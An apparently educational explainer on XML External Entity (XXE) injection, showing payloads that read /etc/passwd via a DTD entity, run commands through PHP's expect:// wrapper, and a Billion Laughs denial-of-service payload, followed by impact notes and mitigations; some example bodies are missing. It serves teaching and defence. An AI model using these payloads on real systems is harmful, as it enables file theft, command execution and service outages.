XML External Entities (XXE) (CWE-611)


XML (Extensible Markup Language) is a markup language that encodes data in a machine-readable and human-readable format.

XML 1.0 Standard defines structure as below,

<?xml version="1.0"?>
<!DOCTYPE greeting SYSTEM "hello.dtd">
<greeting>Hello, world!</greeting> 

XML is commonly used for communication between client and server. XML is also used for sharing resources between two different web applications.

e.g., If we send this XML in the request body

<?xml version="1.0"?>

Web application is giving, Price of product having ID=2 as


Then attacker can edit request as,

<?xml version="1.0"?>

Web application will not find any product with negative Product Id and it will return error in response as,

No product found with id -1

Then attacker can add DTD (Document type declaration) Entity as,

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY secret SYSTEM "file:///etc/passwd" >]>

Web application will read file:///etc/passwd and store it in entity secret. So, response will be,

No product found with id 

Thus, the Attacker can get any file from the server. For faster operation, the Attacker can set a temporary FTP server there and retrieve all files using FTP.

  • If php 'expect' module is eabled, Attacker will get RCE as,

    <?xml version="1.0"?>
    <!DOCTYPE data [<!ENTITY secret SYSTEM "expect://ls" >]>
  • An attacker can do Billion laughs attack (Type of DoS Attack) using XXE.

      <?xml version="1.0"?>
      <!DOCTYPE lolz [
       <!ENTITY lol "lol">
       <!ELEMENT lolz (#PCDATA)>
       <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
       <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
       <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
       <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
       <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
       <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
       <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
       <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
       <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

    this 1KB payload will generable XML containning 109 = a billion "lol"s, which will take about 3GB memory, resulting into DoS (Denial of Services).


  • Server File retrieval is possible (including sensitive files like /etc/passwd).
  • May lead to SSRF(Server Side Request Forgery)
  • Small temporary DoS(Denial of Service)


  • Always Sanitize user input.
  • Disable external entity processing and DTD Processing in XML Parser.
  • Update XML Processing libraries from time to time.


  • 230-OOB: An Out-of-Band XXE server for retrieving file contents over FTP.